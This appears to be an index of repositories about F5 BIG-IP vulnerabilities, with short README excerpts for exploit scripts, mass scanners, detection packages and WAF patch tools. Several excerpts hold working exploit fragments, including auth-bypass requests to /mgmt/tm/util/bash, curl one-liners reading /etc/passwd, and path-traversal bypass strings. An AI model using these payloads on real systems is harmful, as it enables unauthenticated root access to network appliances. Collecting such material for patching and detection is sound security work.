f5-waf-enforce-sig-CVE-2021-44228

f5-waf-enforce-sigs-CVE-2021-44228 This enforces signatures for CVE-2021-44228 across all policies on a BIG-IP ASM device Overview This script enforces all signatures present in the list below related to CVE-2021-44228 across all policies in blocking mode in the Adv. WAF/ASM. sigs = '200104768',...

CVE-2022-1388-EXP

F5 BIG-IP RCE Check check： CVE-2022-1388 F5 BIG-IP RCE Batch Detection exp： Note：exp is modified based on CVE-2021-22986！...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE Update Use /hsqldb%0a/ Bypass Rules For Java Deserialization or /hsqld%b /hsqldb; /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

F5-Big-IP-CVE-2020-5902-mass-exploiter

F5-Big-IP-CVE-2020-5902-mass-exploiter F5 Big-IP CVE-2020-5902 mass exploiter/fuzzer. usage: CVE-2020-5902-mass-exploiter.py -l list.txt -w workers...

CVE-2020-5902-F5BigIP

CVE-2020-5902 F5 BIG-IP devices Summary: A Zeek detection package for CVE-2020-5902, a CVE10.0 vulnerability affecting F5 Networks BIG-IP devices. References: https://corelight.blog/2020/07/28/zeek-in-its-sweet-spot-detecting-f5s-big-ip-cve10-cve-2020-5902/...

CVE-2020-5902-F5-BIGIP

CVE-2020-5902-F5-BIGIP Scan from a given list for F5 BIG-IP and check for CVE-2020-5902...

BigFinger

CVE-2023-46747 - Big-IP RCE Unauthenticated This is a Python3 script to exploit the unauthenticated remote code execution vulnerability CVE-2023-46747 in F5 BIG-IP appliances via the TMUI interface. Basically, if this vuln hits, you get a shell without credentials. Built with threading, file inpu...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 IoC Detection Tool This script is intended to be executed locally on an F5 BIG-IP in Advanced Shell bash by a user with root privileges; it is not intended to be run in any other setting. Note: Appliance Mode does not allow access to Advanced Shell, and therefore this tool cannot be...

CVE-2022-1388-checker

CVE-2022-1388-checker Simple bash script to check multiple hosts for CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt References https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

Exploit-F5-CVE-2022-1388

Exploit-F5-CVE-2022-1388 PoC For F5 BIG-IP - bash script Exploit one Liner Vulnerable Versions : BIG-IP versions 16.1.0 to 16.1.2 Patch released BIG-IP versions 15.1.0 to 15.1.5 Patch released BIG-IP versions 14.1.0 to 14.1.4 Patch released BIG-IP versions 13.1.0 to 13.1.4 Patch released BIG-IP...

f5-waf-quick-patch-cve-2021-44228

f5-waf-quick-patch-CVE-2021-44228 F5 Networks Advanced WAF/ASM Quick Patch CVE 2021-44228. Overview This tool connects to a BIG-IP device and creates a custom signature set called CVE-2021-4428 and apply it to all policies in blocking mode. It also enforces all signatures and apply the changes...

CVE-2022-1388

CVE-2022-1388 A remote code execution vulnerability exists in the iControl REST API feature of F5's BIG-IP product. An unauthenticated, remote attacker can exploit this to bypass authentication and execute arbitrary commands with root privileges. USAGE python3 f5bigipscanner.py...

CVE-2022-1388

CVE-2022-1388 BIG IP REST RCE On F5 BIG-IP 16.1.x versions prior to 16.1.2.2., 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Use the following...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ ...

CVE-2020-5902

CVE-2020-5902 POC code for checking for this vulnerability. Since the code has been released, I decided to release this one as well. Patch Immediately! Usage: python3 CVE-2020-5902.py -u https://big-ip.com -o check 2/dev/null...

CVE-2021-22986-Poc

CVE-2021-22986-Poc This is a Poc for BIGIP iControl unauth RCE POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

CVE-2020-5902

CVE-2020-5902 Python script to exploit F5 Big-IP CVE-2020-5902 Examples Exploit local file read: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploit RCE: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

F5-BIG-IP-CVE-2020-5902

This repository does not have a README...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE checker Simple bash script to check CVE-2022-1388 RCE F5 BIG-IP. + Usage: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit Don't forget to change the IP address curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan Introduction F5 BIG-IP Remote Code Execution Vulnerability CVE-2020-5902, fofa scan script Prerequisites fofa member, fill in the value of fofaproarssession. Modify the keyword value on line 12 yourself. Modify the page number range on line 17 yourself. The methods and...